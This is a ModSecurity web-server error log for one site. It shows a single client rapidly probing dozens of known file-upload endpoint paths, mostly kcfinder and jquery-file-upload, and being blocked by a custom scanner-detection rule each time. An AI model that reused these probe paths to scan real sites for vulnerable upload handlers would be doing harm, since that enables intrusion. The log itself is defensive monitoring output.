[Sun May 24 20:46:45.463824 2026] [:error] [pid 11280:tid 11301] [client 134.199.171.224:59156] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJxgAAAFA"]
[Sun May 24 20:46:45.468527 2026] [:error] [pid 11282:tid 11358] [client 134.199.171.224:59170] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M9QAAANI"]
[Sun May 24 20:46:45.476472 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:59180] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJxwAAAFY"]
[Sun May 24 20:46:45.481290 2026] [:error] [pid 11368:tid 11371] [client 134.199.171.224:59194] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV-QAAAQE"]
[Sun May 24 20:46:45.488899 2026] [:error] [pid 11280:tid 11306] [client 134.199.171.224:59198] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJyAAAAFU"]
[Sun May 24 20:46:45.489191 2026] [:error] [pid 11282:tid 11353] [client 134.199.171.224:59208] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahLzNe0bPyN3C7HZ1R-M9gAAAM0"]
[Sun May 24 20:46:45.505085 2026] [:error] [pid 11280:tid 11290] [client 134.199.171.224:59222] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJyQAAAEU"]
[Sun May 24 20:46:45.511041 2026] [:error] [pid 11282:tid 11350] [client 134.199.171.224:59228] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M9wAAAMo"]
[Sun May 24 20:46:45.519765 2026] [:error] [pid 11368:tid 11385] [client 134.199.171.224:59234] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV-gAAAQ8"]
[Sun May 24 20:46:45.535196 2026] [:error] [pid 11280:tid 11304] [client 134.199.171.224:59242] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJygAAAFM"]
[Sun May 24 20:46:45.578756 2026] [:error] [pid 11368:tid 11386] [client 134.199.171.224:59246] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV-wAAARA"]
[Sun May 24 20:46:45.591486 2026] [:error] [pid 11282:tid 11351] [client 134.199.171.224:59276] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M-AAAAMs"]
[Sun May 24 20:46:45.592855 2026] [:error] [pid 11280:tid 11299] [client 134.199.171.224:59252] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJywAAAE4"]
[Sun May 24 20:46:45.595224 2026] [:error] [pid 11368:tid 11379] [client 134.199.171.224:59266] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV_AAAAQk"]
[Sun May 24 20:46:45.603851 2026] [:error] [pid 11368:tid 11381] [client 134.199.171.224:59292] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV_QAAAQs"]
[Sun May 24 20:46:45.607869 2026] [:error] [pid 11368:tid 11384] [client 134.199.171.224:59308] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV_gAAAQ4"]
[Sun May 24 20:46:45.608327 2026] [:error] [pid 11282:tid 11346] [client 134.199.171.224:59282] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M-QAAAMY"]
[Sun May 24 20:46:45.609580 2026] [:error] [pid 11282:tid 11344] [client 134.199.171.224:59322] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M-gAAAMQ"]
[Sun May 24 20:46:45.616727 2026] [:error] [pid 11368:tid 11391] [client 134.199.171.224:59328] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV_wAAARU"]
[Sun May 24 20:46:45.625438 2026] [:error] [pid 11282:tid 11341] [client 134.199.171.224:59340] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M-wAAAME"]
[Sun May 24 20:46:45.636335 2026] [:error] [pid 11280:tid 11288] [client 134.199.171.224:59356] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJzQAAAEM"]
[Sun May 24 20:46:45.639304 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:59342] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJzgAAAEI"]
[Sun May 24 20:46:45.641815 2026] [:error] [pid 11368:tid 11387] [client 134.199.171.224:59364] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWAAAAARE"]
[Sun May 24 20:46:45.647477 2026] [:error] [pid 11282:tid 11348] [client 134.199.171.224:59368] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M_AAAAMg"]
[Sun May 24 20:46:45.652743 2026] [:error] [pid 11368:tid 11393] [client 134.199.171.224:59370] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWAQAAARc"]
[Sun May 24 20:46:45.652946 2026] [:error] [pid 11280:tid 11309] [client 134.199.171.224:59384] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJzwAAAFg"]
[Sun May 24 20:46:45.653623 2026] [:error] [pid 11282:tid 11343] [client 134.199.171.224:59396] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M_QAAAMM"]
[Sun May 24 20:46:45.656208 2026] [:error] [pid 11280:tid 11298] [client 134.199.171.224:59398] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ0AAAAE0"]
[Sun May 24 20:46:45.659046 2026] [:error] [pid 11368:tid 11382] [client 134.199.171.224:59402] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWAgAAAQw"]
[Sun May 24 20:46:45.661421 2026] [:error] [pid 11282:tid 11349] [client 134.199.171.224:59408] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M_gAAAMk"]
[Sun May 24 20:46:45.671641 2026] [:error] [pid 11280:tid 11295] [client 134.199.171.224:59414] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ0QAAAEo"]
[Sun May 24 20:46:45.683510 2026] [:error] [pid 11368:tid 11375] [client 134.199.171.224:59420] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWAwAAAQU"]
[Sun May 24 20:46:45.684080 2026] [:error] [pid 11282:tid 11345] [client 134.199.171.224:59424] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-M_wAAAMU"]
[Sun May 24 20:46:45.691836 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:59438] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ0gAAAEc"]
[Sun May 24 20:46:45.694379 2026] [:error] [pid 11282:tid 11363] [client 134.199.171.224:59454] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NAAAAANc"]
[Sun May 24 20:46:45.694785 2026] [:error] [pid 11368:tid 11383] [client 134.199.171.224:59460] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWBAAAAQ0"]
[Sun May 24 20:46:45.695883 2026] [:error] [pid 11281:tid 11337] [client 134.199.171.224:59464] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahLzNZKmC9taWvA91j5z-QAAAJg"]
[Sun May 24 20:46:45.700916 2026] [:error] [pid 11282:tid 11357] [client 134.199.171.224:59488] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NAQAAANE"]
[Sun May 24 20:46:45.702692 2026] [:error] [pid 11280:tid 11285] [client 134.199.171.224:59474] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ0wAAAEA"]
[Sun May 24 20:46:45.703431 2026] [:error] [pid 11368:tid 11373] [client 134.199.171.224:59494] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWBQAAAQM"]
[Sun May 24 20:46:45.704273 2026] [:error] [pid 11368:tid 11377] [client 134.199.171.224:59510] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWBgAAAQc"]
[Sun May 24 20:46:45.741015 2026] [:error] [pid 11282:tid 11352] [client 134.199.171.224:59512] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NAgAAAMw"]
[Sun May 24 20:46:45.752298 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:59514] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ1AAAAEE"]
[Sun May 24 20:46:45.752877 2026] [:error] [pid 11368:tid 11380] [client 134.199.171.224:59516] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWBwAAAQo"]
[Sun May 24 20:46:45.753906 2026] [:error] [pid 11282:tid 11355] [client 134.199.171.224:59518] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NAwAAAM8"]
[Sun May 24 20:46:45.787426 2026] [:error] [pid 11280:tid 11294] [client 134.199.171.224:59536] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ1QAAAEk"]
[Sun May 24 20:46:45.787555 2026] [:error] [pid 11368:tid 11392] [client 134.199.171.224:59532] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWCAAAARY"]
[Sun May 24 20:46:45.793017 2026] [:error] [pid 11368:tid 11376] [client 134.199.171.224:59540] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWCQAAAQY"]
[Sun May 24 20:46:45.796477 2026] [:error] [pid 11282:tid 11361] [client 134.199.171.224:59546] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NBAAAANU"]
[Sun May 24 20:46:45.797448 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:59558] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ1gAAAEs"]
[Sun May 24 20:46:45.829247 2026] [:error] [pid 11282:tid 11360] [client 134.199.171.224:59568] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NBQAAANQ"]
[Sun May 24 20:46:45.830187 2026] [:error] [pid 11282:tid 11364] [client 134.199.171.224:59566] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NBgAAANg"]
[Sun May 24 20:46:45.835352 2026] [:error] [pid 11282:tid 11362] [client 134.199.171.224:59582] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NBwAAANY"]
[Sun May 24 20:46:45.836367 2026] [:error] [pid 11282:tid 11356] [client 134.199.171.224:59592] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NCAAAANA"]
